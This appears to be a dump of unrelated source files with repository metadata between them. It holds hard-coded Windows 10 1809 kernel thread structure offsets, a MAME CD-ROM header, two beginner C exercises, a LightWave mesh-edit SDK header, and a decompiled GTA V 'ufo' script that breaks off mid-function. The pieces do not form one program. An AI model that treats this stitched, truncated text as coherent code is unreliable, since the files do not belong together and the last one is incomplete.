// + 0x6d8 OwnsProcessAddressSpaceShared : Pos 1, 1 Bit
// + 0x6d8 HardFaultBehavior : Pos 2, 1 Bit
// + 0x6d8 StartAddressInvalid : Pos 3, 1 Bit
// + 0x6d8 EtwCalloutActive : Pos 4, 1 Bit
// + 0x6d8 SuppressSymbolLoad : Pos 5, 1 Bit
// + 0x6d8 Prefetching : Pos 6, 1 Bit
// + 0x6d8 OwnsVadExclusive : Pos 7, 1 Bit
// + 0x6d9 SystemPagePriorityActive : Pos 0, 1 Bit
// + 0x6d9 SystemPagePriority : Pos 1, 3 Bits
// + 0x6d9 AllowWritesToExecutableMemory : Pos 4, 1 Bit
// + 0x6d9 OwnsVadShared : Pos 5, 1 Bit
// + 0x6dc CacheManagerActive : UChar
// + 0x6dd DisablePageFaultClustering : UChar
// + 0x6de ActiveFaultCount : UChar
// + 0x6df LockOrderState : UChar
// + 0x6e0 AlpcMessageId : Uint8B
// + 0x6e8 AlpcMessage : Ptr64 Void
// + 0x6e8 AlpcReceiveAttributeSet : Uint4B
// + 0x6f0 AlpcWaitListEntry : _LIST_ENTRY
// + 0x700 ExitStatus : Int4B
// + 0x704 CacheManagerCount : Uint4B
// + 0x708 IoBoostCount : Uint4B
// + 0x70c IoQoSBoostCount : Uint4B
// + 0x710 IoQoSThrottleCount : Uint4B
// + 0x714 KernelStackReference : Uint4B
// + 0x718 BoostList : _LIST_ENTRY
// + 0x728 DeboostList : _LIST_ENTRY
// + 0x738 BoostListLock : Uint8B
// + 0x740 IrpListLock : Uint8B
// + 0x748 ReservedForSynchTracking : Ptr64 Void
// + 0x750 CmCallbackListHead : _SINGLE_LIST_ENTRY
// + 0x758 ActivityId : Ptr64 _GUID
// + 0x760 SeLearningModeListHead : _SINGLE_LIST_ENTRY
// + 0x768 VerifierContext : Ptr64 Void
// + 0x770 AdjustedClientToken : Ptr64 Void
// + 0x778 WorkOnBehalfThread : Ptr64 Void
// + 0x780 PropertySet : _PS_PROPERTY_SET
// + 0x798 PicoContext : Ptr64 Void
// + 0x7a0 UserFsBase : Uint8B
// + 0x7a8 UserGsBase : Uint8B
// + 0x7b0 EnergyValues : Ptr64 _THREAD_ENERGY_VALUES
// + 0x7b8 CmDbgInfo : Ptr64 Void
// + 0x7c0 SelectedCpuSets : Uint8B
// + 0x7c0 SelectedCpuSetsIndirect : Ptr64 Uint8B
// + 0x7c8 Silo : Ptr64 _EJOB
// + 0x7d0 ThreadName : Ptr64 _UNICODE_STRING
// + 0x7d8 SetContextState : Ptr64 _CONTEXT
// + 0x7e0 LastExpectedRunTime : Uint4B
// + 0x7e4 HeapData : Uint4B
// + 0x7e8 OwnerEntryListHead : _LIST_ENTRY
// + 0x7f8 DisownedOwnerEntryListLock : Uint8B
// + 0x800 DisownedOwnerEntryListHead : _LIST_ENTRY
};
struct _MY_KTHREAD_WIN10_1809_X64_
{
UCHAR HeaderAndOthers[0x1c8]; // +0x000 Header : _DISPATCHER_HEADER
// + 0x018 SListFaultAddress : Ptr64 Void
// + 0x020 QuantumTarget : Uint8B
// + 0x028 InitialStack : Ptr64 Void
// + 0x030 StackLimit : Ptr64 Void
// + 0x038 StackBase : Ptr64 Void
// + 0x040 ThreadLock : Uint8B
// + 0x048 CycleTime : Uint8B
// + 0x050 CurrentRunTime : Uint4B
// + 0x054 ExpectedRunTime : Uint4B
// + 0x058 KernelStack : Ptr64 Void
// + 0x060 StateSaveArea : Ptr64 _XSAVE_FORMAT
// + 0x068 SchedulingGroup : Ptr64 _KSCHEDULING_GROUP
// + 0x070 WaitRegister : _KWAIT_STATUS_REGISTER
// + 0x071 Running : UChar
// + 0x072 Alerted : [2] UChar
// + 0x074 AutoBoostActive : Pos 0, 1 Bit
// + 0x074 ReadyTransition : Pos 1, 1 Bit
// + 0x074 WaitNext : Pos 2, 1 Bit
// + 0x074 SystemAffinityActive : Pos 3, 1 Bit
// + 0x074 Alertable : Pos 4, 1 Bit
// + 0x074 UserStackWalkActive : Pos 5, 1 Bit
// + 0x074 ApcInterruptRequest : Pos 6, 1 Bit
// + 0x074 QuantumEndMigrate : Pos 7, 1 Bit
// + 0x074 UmsDirectedSwitchEnable : Pos 8, 1 Bit
// + 0x074 TimerActive : Pos 9, 1 Bit
// + 0x074 SystemThread : Pos 10, 1 Bit
// + 0x074 ProcessDetachActive : Pos 11, 1 Bit
// + 0x074 CalloutActive : Pos 12, 1 Bit
// + 0x074 ScbReadyQueue : Pos 13, 1 Bit
// + 0x074 ApcQueueable : Pos 14, 1 Bit
// + 0x074 ReservedStackInUse : Pos 15, 1 Bit
// + 0x074 UmsPerformingSyscall : Pos 16, 1 Bit
// + 0x074 TimerSuspended : Pos 17, 1 Bit
// + 0x074 SuspendedWaitMode : Pos 18, 1 Bit
// + 0x074 SuspendSchedulerApcWait : Pos 19, 1 Bit
// + 0x074 CetShadowStack : Pos 20, 1 Bit
// + 0x074 Reserved : Pos 21, 11 Bits
// + 0x074 MiscFlags : Int4B
// + 0x078 BamQosLevel : Pos 0, 2 Bits
// + 0x078 AutoAlignment : Pos 2, 1 Bit
// + 0x078 DisableBoost : Pos 3, 1 Bit
// + 0x078 AlertedByThreadId : Pos 4, 1 Bit
// + 0x078 QuantumDonation : Pos 5, 1 Bit
// + 0x078 EnableStackSwap : Pos 6, 1 Bit
// + 0x078 GuiThread : Pos 7, 1 Bit
// + 0x078 DisableQuantum : Pos 8, 1 Bit
// + 0x078 ChargeOnlySchedulingGroup : Pos 9, 1 Bit
// + 0x078 DeferPreemption : Pos 10, 1 Bit
// + 0x078 QueueDeferPreemption : Pos 11, 1 Bit
// + 0x078 ForceDeferSchedule : Pos 12, 1 Bit
// + 0x078 SharedReadyQueueAffinity : Pos 13, 1 Bit
// + 0x078 FreezeCount : Pos 14, 1 Bit
// + 0x078 TerminationApcRequest : Pos 15, 1 Bit
// + 0x078 AutoBoostEntriesExhausted : Pos 16, 1 Bit
// + 0x078 KernelStackResident : Pos 17, 1 Bit
// + 0x078 TerminateRequestReason : Pos 18, 2 Bits
// + 0x078 ProcessStackCountDecremented : Pos 20, 1 Bit
// + 0x078 RestrictedGuiThread : Pos 21, 1 Bit
// + 0x078 VpBackingThread : Pos 22, 1 Bit
// + 0x078 ThreadFlagsSpare : Pos 23, 1 Bit
// + 0x078 EtwStackTraceApcInserted : Pos 24, 8 Bits
// + 0x078 ThreadFlags : Int4B
// + 0x07c Tag : UChar
// + 0x07d SystemHeteroCpuPolicy : UChar
// + 0x07e UserHeteroCpuPolicy : Pos 0, 7 Bits
// + 0x07e ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit
// + 0x07f Spare0 : UChar
// + 0x080 SystemCallNumber : Uint4B
// + 0x084 ReadyTime : Uint4B
// + 0x088 FirstArgument : Ptr64 Void
// + 0x090 TrapFrame : Ptr64 _KTRAP_FRAME
// + 0x098 ApcState : _KAPC_STATE
// + 0x098 ApcStateFill : [43] UChar
// + 0x0c3 Priority : Char
// + 0x0c4 UserIdealProcessor : Uint4B
// + 0x0c8 WaitStatus : Int8B
// + 0x0d0 WaitBlockList : Ptr64 _KWAIT_BLOCK
// + 0x0d8 WaitListEntry : _LIST_ENTRY
// + 0x0d8 SwapListEntry : _SINGLE_LIST_ENTRY
// + 0x0e8 Queue : Ptr64 _DISPATCHER_HEADER
// + 0x0f0 Teb : Ptr64 Void
// + 0x0f8 RelativeTimerBias : Uint8B
// + 0x100 Timer : _KTIMER
// + 0x140 WaitBlock : [4] _KWAIT_BLOCK
// + 0x140 WaitBlockFill4 : [20] UChar
// + 0x154 ContextSwitches : Uint4B
// + 0x140 WaitBlockFill5 : [68] UChar
// + 0x184 State : UChar
// + 0x185 Spare13 : Char
// + 0x186 WaitIrql : UChar
// + 0x187 WaitMode : Char
// + 0x140 WaitBlockFill6 : [116] UChar
// + 0x1b4 WaitTime : Uint4B
// + 0x140 WaitBlockFill7 : [164] UChar
// + 0x1e4 KernelApcDisable : Int2B
// + 0x1e6 SpecialApcDisable : Int2B
// + 0x1e4 CombinedApcDisable : Uint4B
// + 0x140 WaitBlockFill8 : [40] UChar
// + 0x168 ThreadCounters : Ptr64 _KTHREAD_COUNTERS
// + 0x140 WaitBlockFill9 : [88] UChar
// + 0x198 XStateSave : Ptr64 _XSTATE_SAVE
// + 0x140 WaitBlockFill10 : [136] UChar
ULONG_PTR Win32Thread; // + 0x1c8 Win32Thread : Ptr64 Void
// + 0x140 WaitBlockFill11 : [176] UChar
// + 0x1f0 Ucb : Ptr64 _UMS_CONTROL_BLOCK
// + 0x1f8 Uch : Ptr64 _KUMS_CONTEXT_HEADER
// + 0x200 Spare21 : Ptr64 Void
// + 0x208 QueueListEntry : _LIST_ENTRY
// + 0x218 NextProcessor : Uint4B
// + 0x218 NextProcessorNumber : Pos 0, 31 Bits
// + 0x218 SharedReadyQueue : Pos 31, 1 Bit
// + 0x21c QueuePriority : Int4B
// + 0x220 Process : Ptr64 _KPROCESS
// + 0x228 UserAffinity : _GROUP_AFFINITY
// + 0x228 UserAffinityFill : [10] UChar
// + 0x232 PreviousMode : Char
// + 0x233 BasePriority : Char
// + 0x234 PriorityDecrement : Char
// + 0x234 ForegroundBoost : Pos 0, 4 Bits
// + 0x234 UnusualBoost : Pos 4, 4 Bits
// + 0x235 Preempted : UChar
// + 0x236 AdjustReason : UChar
// + 0x237 AdjustIncrement : Char
// + 0x238 AffinityVersion : Uint8B
// + 0x240 Affinity : _GROUP_AFFINITY
// + 0x240 AffinityFill : [10] UChar
// + 0x24a ApcStateIndex : UChar
// + 0x24b WaitBlockCount : UChar
// + 0x24c IdealProcessor : Uint4B
// + 0x250 NpxState : Uint8B
// + 0x258 SavedApcState : _KAPC_STATE
// + 0x258 SavedApcStateFill : [43] UChar
// + 0x283 WaitReason : UChar
// + 0x284 SuspendCount : Char
// + 0x285 Saturation : Char
// + 0x286 SListFaultCount : Uint2B
// + 0x288 SchedulerApc : _KAPC
// + 0x288 SchedulerApcFill0 : [1] UChar
// + 0x289 ResourceIndex : UChar
// + 0x288 SchedulerApcFill1 : [3] UChar
// + 0x28b QuantumReset : UChar
// + 0x288 SchedulerApcFill2 : [4] UChar
// + 0x28c KernelTime : Uint4B
// + 0x288 SchedulerApcFill3 : [64] UChar
// + 0x2c8 WaitPrcb : Ptr64 _KPRCB
// + 0x288 SchedulerApcFill4 : [72] UChar
// + 0x2d0 LegoData : Ptr64 Void
// + 0x288 SchedulerApcFill5 : [83] UChar
// + 0x2db CallbackNestingLevel : UChar
// + 0x2dc UserTime : Uint4B
// + 0x2e0 SuspendEvent : _KEVENT
// + 0x2f8 ThreadListEntry : _LIST_ENTRY
// + 0x308 MutantListHead : _LIST_ENTRY
// + 0x318 AbEntrySummary : UChar
// + 0x319 AbWaitEntryCount : UChar
// + 0x31a AbAllocationRegionCount : UChar
// + 0x31b SystemPriority : Char
// + 0x31c SecureThreadCookie : Uint4B
// + 0x320 LockEntries : [6] _KLOCK_ENTRY
// + 0x560 PropagateBoostsEntry : _SINGLE_LIST_ENTRY
// + 0x568 IoSelfBoostsEntry : _SINGLE_LIST_ENTRY
// + 0x570 PriorityFloorCounts : [16] UChar
// + 0x580 PriorityFloorSummary : Uint4B
// + 0x584 AbCompletedIoBoostCount : Int4B
// + 0x588 AbCompletedIoQoSBoostCount : Int4B
// + 0x58c KeReferenceCount : Int2B
// + 0x58e AbOrphanedEntrySummary : UChar
// + 0x58f AbOwnedEntryCount : UChar
// + 0x590 ForegroundLossTime : Uint4B
// + 0x598 GlobalForegroundListEntry : _LIST_ENTRY
// + 0x598 ForegroundDpcStackListEntry : _SINGLE_LIST_ENTRY
// + 0x5a0 InGlobalForegroundList : Uint8B
// + 0x5a8 ReadOperationCount : Int8B
// + 0x5b0 WriteOperationCount : Int8B
// + 0x5b8 OtherOperationCount : Int8B
// + 0x5c0 ReadTransferCount : Int8B
// + 0x5c8 WriteTransferCount : Int8B
// + 0x5d0 OtherTransferCount : Int8B
// + 0x5d8 QueuedScb : Ptr64 _KSCB
// + 0x5e0 ThreadTimerDelay : Uint4B
// + 0x5e4 ThreadFlags2 : Int4B
// + 0x5e4 PpmPolicy : Pos 0, 2 Bits
// + 0x5e4 ThreadFlags2Reserved : Pos 2, 30 Bits
// + 0x5e8 SchedulerAssist : Ptr64 Void
}; | [
"supermanc88@gmail.com"
] | supermanc88@gmail.com |
9c2a6b0b0d846994a07f18645bf4a8e44da4eede | ef23e388061a637f82b815d32f7af8cb60c5bb1f | /src/emu/imagedev/chd_cd.h | 5c28ac508974f9fefda2b37fdd4b3cbc742838a4 | [] | no_license | marcellodash/psmame | 76fd877a210d50d34f23e50d338e65a17deff066 | 09f52313bd3b06311b910ed67a0e7c70c2dd2535 | refs/heads/master | 2021-05-29T23:57:23.333706 | 2011-06-23T20:11:22 | 2011-06-23T20:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,236 | h | /*********************************************************************
chd_cd.h
Interface to the CHD CDROM code
*********************************************************************/
#ifndef CHD_CD_H
#define CHD_CD_H
#include "cdrom.h"
/***************************************************************************
TYPE DEFINITIONS
***************************************************************************/
typedef struct cdrom_config_t cdrom_config;
struct cdrom_config_t
{
const char * interface;
};
/***************************************************************************
FUNCTION PROTOTYPES
***************************************************************************/
DECLARE_LEGACY_IMAGE_DEVICE(CDROM, cdrom);
cdrom_file *cd_get_cdrom_file(device_t *device);
/***************************************************************************
DEVICE CONFIGURATION MACROS
***************************************************************************/
#define MCFG_CDROM_ADD(_tag) \
MCFG_DEVICE_ADD(_tag, CDROM, 0) \
#define MCFG_CDROM_INTERFACE(_interface) \
MCFG_DEVICE_CONFIG_DATAPTR(cdrom_config, interface, _interface )
#endif /* CHD_CD_H */
| [
"Mike@localhost"
] | Mike@localhost |
0d4cacd7b3a1d5004fd6f10ea269d55dad91087e | 8cbdf540ca05131045ad3a8f099764593d5baa64 | /sum of given num.c | 879f0afa96765c58aeb322bb794bdac965fc93a8 | [] | no_license | tanneerukeerthi/codekata | dd57a933d1d75b5f027a79355d803ba3f282227b | 3fbc16bb679fb723151cb4e50df3d51949bc6d43 | refs/heads/master | 2020-03-24T20:18:48.889852 | 2018-03-20T11:24:31 | 2018-03-20T11:24:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 147 | c | #include <stdio.h>
int main(void) {
int a,b,ans;
printf("enter two numbers");
scanf("%d%d",&a,&b);
printf("%d",a+b);
return 0;
}
| [
"noreply@github.com"
] | tanneerukeerthi.noreply@github.com |
fa6e394b4ac2dac9dfa0807db16dbfd6e40309a8 | ca93ccf1b7168680b9c6e336e33a33be2726ca54 | /Excercise/chapter9/C(d).c | 7fd2fd0f63adf26f7981b0a40cf69e580f297e90 | [] | no_license | shubh-dubey/Let-Us-C-Solutions | bf202126228133a816a9924e53ef7e1e0ad2b51c | de1f57455d8840313bf27715ed04efade5c20c18 | refs/heads/main | 2023-08-22T09:50:55.815620 | 2021-06-10T10:08:04 | 2021-06-10T10:08:04 | 412,448,514 | 0 | 0 | null | 2021-10-01T11:57:42 | 2021-10-01T11:57:42 | null | UTF-8 | C | false | false | 364 | c | #include<stdio.h>
#include<conio.h>
void GCD(int *, int *);
int main(){
int J, K;
printf("Enter value of J and K : ");
scanf("%d %d", &J, &K);
while(K!=0){
GCD(&J, &K);
}
getch();
return 0;
}
void GCD(int *J, int *K){
int j, k;
int remainder = *J / *K;
j=*J; k=*K;
*J=k; *K= j-remainder*k;
if(*K==0)
printf("\nGreatest common divisor is %d", k);
}
| [
"amitchoudhary9425@gmail.com"
] | amitchoudhary9425@gmail.com |
bdfa6c7f257352546fc2f6142ddfdf732f1c994f | 9a9e511d4881edaa293b6378e3f81ab853fa8b31 | /misc/Lw11_plugins/include/lwmeshedt.h | 5952bea3b2fc8cf2888d5273996e5f8207cc0eb2 | [] | no_license | DeanoC/old_yolk | d14a4c02da1841f83e919915bd62bfd51d6a309b | 3d413320c2a0e53e3ddc9c76a801b5b91abe2028 | refs/heads/master | 2021-07-14T02:17:44.062551 | 2017-08-01T16:17:31 | 2017-08-01T16:17:31 | 208,746,200 | 0 | 0 | null | 2020-10-13T16:04:18 | 2019-09-16T08:15:54 | C++ | UTF-8 | C | false | false | 9,554 | h | /*
* LWSDK Header File
* Copyright 1999, NewTek, Inc.
*
* LWMESHEDT.H -- LightWave MeshDataEdit Server
*
* This header contains the types and declarations for the Modeler
* MeshDataEdit class.
*/
#ifndef LWSDK_MESHEDT_H
#define LWSDK_MESHEDT_H
#include <lwmodeler.h>
#include <lwmeshes.h>
#include <generators/lwpointgenerator.h>
#include <generators/lwedgegenerator.h>
#include <generators/lwpolygenerator.h>
#define LWMESHEDIT_CLASS "MeshDataEdit"
#define LWMESHEDIT_VERSION 6
typedef struct st_MeshEditState* EDStateRef;
typedef struct st_EDPointInfo
{
LWPntID pnt;
void *userData;
int layer;
int flags;
double position[3];
float *vmapVec;
int numEdges;
const LWEdgeID *edges;
} EDPointInfo;
typedef struct st_EDPolygonInfo
{
LWPolID pol;
void *userData;
int layer;
int flags;
int numPnts;
const LWPntID *points;
const char *surface;
unsigned int type;
int typeFlags;
} EDPolygonInfo;
typedef struct st_EDEdgeInfo
{
LWEdgeID edge;
void *userData;
int layer;
int flags;
LWPntID p1, p2;
int numPols;
const LWPolID* pols;
} EDEdgeInfo;
#define EDDF_SELECT (1<<0)
#define EDDF_DELETE (1<<1)
#define EDPF_CCEND (1<<2)
#define EDPF_CCSTART (1<<3)
typedef int EDError;
#define EDERR_NONE 0
#define EDERR_NOMEMORY 1
#define EDERR_BADLAYER 2
#define EDERR_BADSURF 3
#define EDERR_USERABORT 4
#define EDERR_BADARGS 5
#define EDERR_BADVMAP 6
#define EDSELM_CLEARCURRENT (1<<0)
#define EDSELM_SELECTNEW (1<<1)
#define EDSELM_FORCEVRTS (1<<2)
#define EDSELM_FORCEPOLS (1<<3)
#define OPSEL_MODIFY (1<<15)
#define EDCOUNT_ALL 0
#define EDCOUNT_SELECT 1
#define EDCOUNT_DELETE 2
typedef EDError EDPointScanFunc (void*, const EDPointInfo*);
typedef EDError EDEdgeScanFunc (void*, const EDEdgeInfo*);
typedef EDError EDPolyScanFunc (void*, const EDPolygonInfo*);
typedef EDError EDFastPointScanFunc (void*, LWPntID);
typedef EDError EDFastEdgeScanFunc (void*, LWEdgeID);
typedef EDError EDFastPolyScanFunc (void*, LWPolID);
typedef struct st_EDBoundCv
{
LWPolID curve;
int start, end;
} EDBoundCv;
typedef struct st_MeshEditOp
{
EDStateRef state;
int layerNum;
void (*done) (EDStateRef, EDError, int selm);
int (*pointCount) (EDStateRef, EltOpLayer, int mode);
int (*polyCount) (EDStateRef, EltOpLayer, int mode);
EDError (*pointScan) (EDStateRef, EDPointScanFunc *, void *, EltOpLayer);
EDError (*polyScan) (EDStateRef, EDPolyScanFunc *, void *, EltOpLayer);
EDPointInfo * (*pointInfo) (EDStateRef, LWPntID);
EDPolygonInfo * (*polyInfo) (EDStateRef, LWPolID);
int (*polyNormal) (EDStateRef, LWPolID, double[3]);
LWPntID (*addPoint) (EDStateRef, double *xyz);
LWPolID (*addFace) (EDStateRef, const char *surf, int numPnt, const LWPntID *);
LWPolID (*addCurve) (EDStateRef, const char *surf, int numPnt, const LWPntID *, int flags);
EDError (*addQuad) (EDStateRef, LWPntID, LWPntID, LWPntID, LWPntID);
EDError (*addTri) (EDStateRef, LWPntID, LWPntID, LWPntID);
EDError (*addPatch) (EDStateRef, int nr, int nc, int lr, int lc, EDBoundCv *r0, EDBoundCv *r1, EDBoundCv *c0, EDBoundCv *c1);
EDError (*remPoint) (EDStateRef, LWPntID);
EDError (*remPoly) (EDStateRef, LWPolID);
EDError (*pntMove) (EDStateRef, LWPntID, const double *);
EDError (*polSurf) (EDStateRef, LWPolID, const char *);
EDError (*polPnts) (EDStateRef, LWPolID, int, const LWPntID *);
EDError (*polFlag) (EDStateRef, LWPolID, int mask, int value);
EDError (*polTag) (EDStateRef, LWPolID, LWID, const char *);
EDError (*pntVMap) (EDStateRef, LWPntID, LWID, const char *, int, float *);
LWPolID (*addPoly) (EDStateRef, LWID type, LWPolID, const char *surf, int numPnt, const LWPntID *);
LWPntID (*addIPnt) (EDStateRef, double *xyz, int numPnt, const LWPntID *, const double *wt);
EDError (*initUV) (EDStateRef, float *uv);
void * (*pointVSet) (EDStateRef, void *vmap_id, LWID vmap_type, const char *vmap_name);
int (*pointVGet) (EDStateRef, LWPntID point_id, float *vmap_vector);
const char * (*polyTag) (EDStateRef, LWPolID polygon_id, LWID tag_type);
EDError (*pntSelect) (EDStateRef, LWPntID point_id, int selection_state);
EDError (*polSelect) (EDStateRef, LWPolID polygon_id, int selection_state);
int (*pointVPGet) (EDStateRef, LWPntID point_id, LWPolID polygon_id, float *vmap_vector);
int (*pointVEval) (EDStateRef, LWPntID point_id, LWPolID polygon_id, float *vmap_vector);
EDError (*pntVPMap) (EDStateRef, LWPntID point_id, LWPolID polygon_id, LWID vmap_type, const char *vmap_name, int vmap_dimensions, float *vmap_vector);
// new in Lightwave 9.0 - LWMESHEDIT_VERSION 5
int (*edgeCount) (EDStateRef, EltOpLayer, int mode);
EDError (*edgeScan) (EDStateRef, EDEdgeScanFunc*, void*, EltOpLayer);
EDEdgeInfo * (*edgeInfo) (EDStateRef, LWEdgeID);
EDError (*edgeSelect) (EDStateRef, LWEdgeID, int);
int (*edgePolys) (EDStateRef, LWEdgeID, const LWPolID**);
LWPntID (*edgePoint1) (EDStateRef, LWEdgeID);
LWPntID (*edgePoint2) (EDStateRef, LWEdgeID);
LWEdgeID (*edgeFromPoints) (EDStateRef, LWPntID, LWPntID);
void (*edgeFlip) (EDStateRef, LWEdgeID);
void (*pointPos) (EDStateRef, LWPntID, double[3]);
int (*pointEdges) (EDStateRef, LWPntID, const LWEdgeID**);
unsigned int (*polyType) (EDStateRef, LWPolID);
int (*polyPoints) (EDStateRef, LWPolID, const LWPntID**);
int (*pointFlags) (EDStateRef, LWPntID);
int (*edgeFlags) (EDStateRef, LWEdgeID);
int (*polyFlags) (EDStateRef, LWPolID);
void * (*pointData) (EDStateRef, LWPntID);
void * (*edgeData) (EDStateRef, LWEdgeID);
void * (*polyData) (EDStateRef, LWPolID);
EDError (*fastPointScan) (EDStateRef, EDFastPointScanFunc*, void*, EltOpLayer, int selectedOnly);
EDError (*fastEdgeScan) (EDStateRef, EDFastEdgeScanFunc*, void*, EltOpLayer, int selectedOnly);
EDError (*fastPolyScan) (EDStateRef, EDFastPolyScanFunc*, void*, EltOpLayer, int selectedOnly);
int (*pointLayer) (EDStateRef, LWPntID);
int (*edgeLayer) (EDStateRef, LWEdgeID);
int (*polyLayer) (EDStateRef, LWPolID);
int (*setLayer) (EDStateRef, int layerNum);
int (*advanceLayer) (EDStateRef);
int (*pointNew) (EDStateRef, LWPntID);
int (*edgeNew) (EDStateRef, LWEdgeID);
int (*polyNew) (EDStateRef, LWPolID);
struct LWPointGenerator* (*genPoints) (EDStateRef, EltOpLayer, int selectedOnly);
struct LWEdgeGenerator* (*genEdges) (EDStateRef, EltOpLayer, int selectedOnly);
struct LWPolyGenerator* (*genPolys) (EDStateRef, EltOpLayer, int selectedOnly);
// new in Lightwave 9.6 - LWMESHEDIT_VERSION 6
void * (*vMapSelect) (EDStateRef es, const char* name, LWID type, int dim);
int (*vMapExists) (EDStateRef es, const char* name, LWID type);
unsigned int (*vMapGetDimension)(EDStateRef es);
void (*vMapSet) (EDStateRef es, LWPntID point_id, LWPolID polygon_id, const float *value);
void (*vMapSetIdeal) (EDStateRef es, LWPntID point_id, LWPolID polygon_id, const float *value);
void (*vMapRename) (EDStateRef es, const char *new_name);
void (*vMapRemove) (EDStateRef es);
} MeshEditOp;
// Required for backward compatability
typedef MeshEditOp * MeshEditBegin(int pntBuf, int polBuf, EltOpSelect);
// newer, alternative function with edge buffer allocation
typedef MeshEditOp * MeshEditBegin2 (int pntBuf, int edgeBuf, int polBuf, EltOpSelect);
#endif
| [
"deano@cloudpixies.com"
] | deano@cloudpixies.com |
ef7ead1b73e2dfcb0c71f12ef05493b61807d85e | 3b9da1defb5f8a5bf2fb2c63af542a2d05621be8 | /ufo.ysc.c | ff712a5fdcb6ac0b585d3f76ba01740b795b5042 | [] | no_license | GTAResources/v-decompiled-scripts | 6279228f121ebc8a9e4c88df41014e4988b2f841 | 8d8831860f308685949512fdd3b29abe1f3cd40d | refs/heads/master | 2021-02-07T15:52:42.148873 | 2019-08-05T19:37:44 | 2019-08-05T19:37:44 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 67,060 | c | #region Local Var
var uLocal_0 = 0;
var uLocal_1 = 0;
int iLocal_2 = 0;
int iLocal_3 = 0;
int iLocal_4 = 0;
int iLocal_5 = 0;
int iLocal_6 = 0;
int iLocal_7 = 0;
int iLocal_8 = 0;
int iLocal_9 = 0;
int iLocal_10 = 0;
int iLocal_11 = 0;
var uLocal_12 = 0;
var uLocal_13 = 0;
float fLocal_14 = 0f;
var uLocal_15 = 0;
var uLocal_16 = 0;
int iLocal_17 = 0;
int iLocal_18 = 0;
var uScriptParam_0 = 0;
var uScriptParam_1 = 5;
var uScriptParam_2 = 0;
var uScriptParam_3 = 0;
var uScriptParam_4 = 0;
var uScriptParam_5 = 0;
var uScriptParam_6 = 0;
var uScriptParam_7 = 0;
var uScriptParam_8 = 0;
var uScriptParam_9 = 0;
var uScriptParam_10 = 0;
var uScriptParam_11 = 0;
var uScriptParam_12 = 0;
var uScriptParam_13 = 0;
var uScriptParam_14 = 0;
var uScriptParam_15 = 0;
var uScriptParam_16 = 0;
var uScriptParam_17 = 5;
var uScriptParam_18 = 0;
var uScriptParam_19 = 0;
var uScriptParam_20 = 0;
var uScriptParam_21 = 0;
var uScriptParam_22 = 0;
#endregion
void __EntryFunction__()
{
iLocal_2 = 1;
iLocal_3 = 134;
iLocal_4 = 134;
iLocal_5 = 1;
iLocal_6 = 1;
iLocal_7 = 1;
iLocal_8 = 134;
iLocal_9 = 1;
iLocal_10 = 12;
iLocal_11 = 12;
fLocal_14 = 0.001f;
iLocal_17 = -1;
if (Global_106565.f_10188.f_3854 == 0)
{
func_10();
}
if (PLAYER::HAS_FORCE_CLEANUP_OCCURRED(18))
{
func_10();
}
while (true)
{
SYSTEM::WAIT(0);
if (!BRAIN::IS_WORLD_POINT_WITHIN_BRAIN_ACTIVATION_RANGE())
{
func_10();
}
switch (iLocal_18)
{
case 0:
if (TIME::GET_CLOCK_HOURS() == 3 && func_9())
{
iLocal_18 = 1;
}
break;
case 1:
func_1(152, 1, 0, 1, 0);
iLocal_18 = 2;
if (!AUDIO::IS_AMBIENT_ZONE_ENABLED("AZ_SPECIAL_UFO_03"))
{
AUDIO::SET_AMBIENT_ZONE_STATE("AZ_SPECIAL_UFO_03", 1, 1);
}
break;
case 2:
if (TIME::GET_CLOCK_HOURS() != 3 || !func_9())
{
func_10();
}
break;
}
}
}
void func_1(int iParam0, int iParam1, int iParam2, bool bParam3, int iParam4)
{
if (iParam0 != 198)
{
if (Global_71590)
{
Global_2437364.f_75.f_227[iParam0] = iParam1;
}
else
{
Global_106565.f_7255.f_227[iParam0] = iParam1;
}
Global_33392[iParam0] = iParam2;
Global_33591[iParam0] = 1;
func_4(iParam0, bParam3, iParam4, 0);
func_2(iParam0, iParam1);
}
}
void func_2(int iParam0, int iParam1)
{
switch (iParam0)
{
case 12:
if (iParam1 == 0)
{
AUDIO::SET_AMBIENT_ZONE_STATE_PERSISTENT("AZ_PORT_OF_LS_UNDERWATER_CREAKS", 0, 0);
}
else
{
AUDIO::SET_AMBIENT_ZONE_STATE_PERSISTENT("AZ_PORT_OF_LS_UNDERWATER_CREAKS", 1, 0);
}
break;
case 71:
if (iParam1 != 1)
{
AUDIO::SET_AMBIENT_ZONE_LIST_STATE_PERSISTENT("HEIST_SWEATSHOP_ZONES", 0, 0);
}
else
{
AUDIO::SET_AMBIENT_ZONE_LIST_STATE_PERSISTENT("HEIST_SWEATSHOP_ZONES", 1, 0);
}
break;
case 65:
if (iParam1 == 1)
{
func_3(0, 0);
}
else
{
func_3(0, 1);
}
break;
case 6:
if (iParam1 == 1)
{
AUDIO::SET_AMBIENT_ZONE_STATE_PERSISTENT("AZ_UNDERWATER_EXILE_01_PLANE_WRECK", 1, 0);
}
else
{
AUDIO::SET_AMBIENT_ZONE_STATE_PERSISTENT("AZ_UNDERWATER_EXILE_01_PLANE_WRECK", 0, 0);
}
break;
case 174:
if (iParam1 == 2)
{
AUDIO::_0xB4BBFD9CD8B3922B("V_CARSHOWROOM_PS_WINDOW_UNBROKEN");
}
break;
case 37:
if (iParam1 == 1)
{
AUDIO::SET_STATIC_EMITTER_ENABLED("TREVOR1_TRAILER_PARK_MAIN_STAGE_RADIO", 0);
AUDIO::SET_STATIC_EMITTER_ENABLED("TREVOR1_TRAILER_PARK_MAIN_TRAILER_RADIO_01", 0);
AUDIO::SET_STATIC_EMITTER_ENABLED("TREVOR1_TRAILER_PARK_MAIN_TRAILER_RADIO_02", 0);
AUDIO::SET_STATIC_EMITTER_ENABLED("TREVOR1_TRAILER_PARK_MAIN_TRAILER_RADIO_03", 0);
}
break;
}
}
void func_3(int iParam0, bool bParam1)
{
if (bParam1)
{
GAMEPLAY::SET_BIT(&Global_105203, iParam0);
}
else
{
GAMEPLAY::CLEAR_BIT(&Global_105203, iParam0);
}
Global_105202 = 1;
}
bool func_4(int iParam0, bool bParam1, int iParam2, bool bParam3)
{
bool bVar0;
int iVar1;
int iVar2;
struct<5> Var3;
var uVar98;
bool bVar99;
int iVar100;
Global_1647687 = 1;
bVar0 = false;
Var3.f_4 = 3;
Var3.f_8 = 3;
Var3.f_64 = 3;
Var3.f_75 = 3;
Var3.f_91 = 3;
